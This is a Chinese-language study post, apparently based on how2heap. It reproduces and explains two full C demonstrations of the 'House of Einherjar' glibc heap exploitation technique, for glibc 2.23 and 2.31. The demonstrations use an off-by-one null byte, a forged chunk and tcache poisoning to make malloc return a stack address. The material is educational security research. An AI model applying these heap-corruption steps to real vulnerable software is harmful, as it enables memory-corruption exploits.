house_of_einherjar

house of einherjar

本篇同样是跟着how2heap来学习。

2.23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/

int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("Welcome to House of Einherjar!\n");
printf("Tested in Ubuntu 16.04 64bit.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

uint8_t* a;
uint8_t* b;
uint8_t* d;

printf("\nWe allocate 0x38 bytes for 'a'\n");
a = (uint8_t*) malloc(0x38);
printf("a: %p\n", a);

int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

// create a fake chunk
printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
printf("(although we could do the unsafe unlink technique here in some scenarios)\n");

size_t fake_chunk[6];

fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


printf("Our fake chunk at %p looks like:\n", fake_chunk);
printf("prev_size (not used): %#lx\n", fake_chunk[0]);
printf("size: %#lx\n", fake_chunk[1]);
printf("fwd: %#lx\n", fake_chunk[2]);
printf("bck: %#lx\n", fake_chunk[3]);
printf("fwd_nextsize: %#lx\n", fake_chunk[4]);
printf("bck_nextsize: %#lx\n", fake_chunk[5]);

/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);

printf("\nWe allocate 0xf8 bytes for 'b'.\n");
printf("b: %p\n", b);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

printf("\nb.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x100) | prev_inuse = 0x101\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0;
printf("b.size: %#lx\n", *b_size_ptr);
printf("This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");
printf("If it had been modified, we would need a fake chunk inside "
"b where it will try to consolidate the next chunk\n");

// Write a fake prev_size to the end of a
printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

//Change the fake chunk's size to reflect b's new prev_size
printf("\nModify fake chunk's size to reflect b's new prev_size\n");
fake_chunk[1] = fake_size;

// free b and it will consolidate with our fake chunk
printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
free(b);
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

//if we allocate another chunk before we free b we will need to
//do two things:
//1) We will need to adjust the size of our fake chunk so that
//fake_chunk + fake_chunk's size points to an area we control
//2) we will need to write the size of our fake chunk
//at the location we control.
//After doing these two things, when unlink gets called, our fake chunk will
//pass the size(P) == prev_size(next_chunk(P)) test.
//otherwise we need to make sure that our fake chunk is up against the
//wilderness

printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
d = malloc(0x200);
printf("Next malloc(0x200) is at %p\n", d);
}

代码虽然比较长,但是比较容易理解。
首先堆块布局如图所示。这里的fake_size就是fake_chunk和b的距离,是为了在free(b)后与前面已经释放的堆块(prev_inuse为0)合并,从而下一次malloc的时候可以在fake_chunk处(栈上)申请堆块,就使得malloc可控(当然在fake_chunk在堆上也可以)。

这里解释一下fake_chunk数组每个元素的作用,我们可以先把他们注释掉,然后查看报错原因去malloc源码里查。
首先注释掉fake_chunk[2]和fake_chunk[3],我们可以看到报错原因如下,我们在网站查找报错原因,可以看到需要通过检查(fd->bk != p || bk->fd != p,所以设置fake_chunk的fd和bk都为自己本身来通过检查。

然后注释掉fake_chunk[4]和fake_chunk[5],我们可以看到报错原因如下,是因为需要通过检查p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p,所以设置fake_chunk的fd_nextsize和bk_nextsize指向自身。为什么要走这条分支呢,是因为我们的fake_chunk的size设置的非常大,满足了!in_smallbin_range (chunksize_nomask (p)

2.31

2.31最主要是因为加入了tcache导致了利用稍微复杂一点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

int main()
{
/*
* This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.31.
* The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().
* It has the additional requirement of a heap leak.
*
* After filling the tcache list to bypass the restriction of consolidating with a fake chunk,
* we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.
* The following restriction for normal bins won't allow us to create chunks bigger than the memory
* allocated from the system in this arena:
*
* https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */

setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("Welcome to House of Einherjar 2!\n");
printf("Tested on Ubuntu 20.04 64bit (glibc-2.31).\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

printf("This file demonstrates a tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n");

// prepare the target
intptr_t stack_var[4];
printf("\nThe address we want malloc() to return is %p.\n", (char *) &stack_var);

printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n");
intptr_t *a = malloc(0x38);

// create a fake chunk
printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");

a[0] = 0; // prev_size (Not Used)
a[1] = 0x60; // size
a[2] = (size_t) a; // fwd
a[3] = (size_t) a; // bck

printf("Our fake chunk at %p looks like:\n", a);
printf("prev_size (not used): %#lx\n", a[0]);
printf("size: %#lx\n", a[1]);
printf("fwd: %#lx\n", a[2]);
printf("bck: %#lx\n", a[3]);

printf("\nWe allocate 0x28 bytes for 'b'.\n"
"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n"
"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n");
uint8_t *b = (uint8_t *) malloc(0x28);
printf("b: %p\n", b);

int real_b_size = malloc_usable_size(b);
printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size);

/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
printf("\nWe allocate 0xf8 bytes for 'c'.\n");
uint8_t *c = (uint8_t *) malloc(0xf8);

printf("c: %p\n", c);

uint64_t* c_size_ptr = (uint64_t*)(c - 8);
// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit

printf("\nc.size: %#lx\n", *c_size_ptr);
printf("c.size is: (0x100) | prev_inuse = 0x101\n");

printf("We overflow 'b' with a single null byte into the metadata of 'c'\n");
b[real_b_size] = 0;
printf("c.size: %#lx\n", *c_size_ptr);

printf("It is easier if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");

// Write a fake prev_size to the end of b
printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);
printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size);
*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;

// Change the fake chunk's size to reflect c's new prev_size
printf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n");
a[1] = fake_size;

printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]);

// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk
printf("\nFill tcache.\n");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
x[i] = malloc(0xf8);
}

printf("Fill up tcache list.\n");
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
free(x[i]);
}

printf("Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\n");
free(c);
printf("Our fake chunk size is now %#lx (c.size + fake_prev_size)\n", a[1]);

printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
intptr_t *d = malloc(0x158);
printf("Next malloc(0x158) is at %p\n", d);

// tcache poisoning
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n");
uint8_t *pad = malloc(0x28);
free(pad);

printf("\nNow we free chunk 'b' to launch a tcache poisoning attack\n");
free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, pad);

printf("We overwrite b's fwd pointer using chunk 'd'\n");
d[0x30 / 8] = (long) stack_var;

// take target out
printf("Now we can cash out the target chunk.\n");
malloc(0x28);
intptr_t *e = malloc(0x28);
printf("\nThe new chunk is at %p\n", e);

// sanity check
assert(e == stack_var);
printf("Got control on target/stack!\n\n");
}

2.23只需要用到两个堆块,a堆块用来伪造b堆块的prev_size以及将prev_inuse位清零,而2.31版需要用到三个堆块,假设b堆块有off-by-null溢出,a和c的作用是释放c的时候对a进行unlink从而将fake_chunk,b和c合并成一个大堆块,从而对b进行overlap,使得在b释放的时候也能修改b堆块内的值。在a处伪造fake_chunk是因为这样可以很容易填写自己想要的数据,a[2]和a[3]填入a是为了满足unlink的检查,b的作用是当b被释放进tcache中时,修改b的fd指向stack_var从而伪造tcache链,这样在下下次malloc的时候就能够在stack_var的位置处申请一个堆块。

我们可以看到,在free(b)后tcache的情况如图所示,因为pad是在b之前释放的,因此此时b的fd指向pad,因为我们对b进行了overlap,因此 d[0x30 / 8] = (long) stack_var这条语句修改了b的fd的值。

修改之后的情况如图所示,此时b的fd指针指向stack_var,因为tcache是后进先出的,因此下一次malloc(0x28)的时候返回的地址是b,再一次malloc(0x28)的时候返回的地址就是stack_var


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!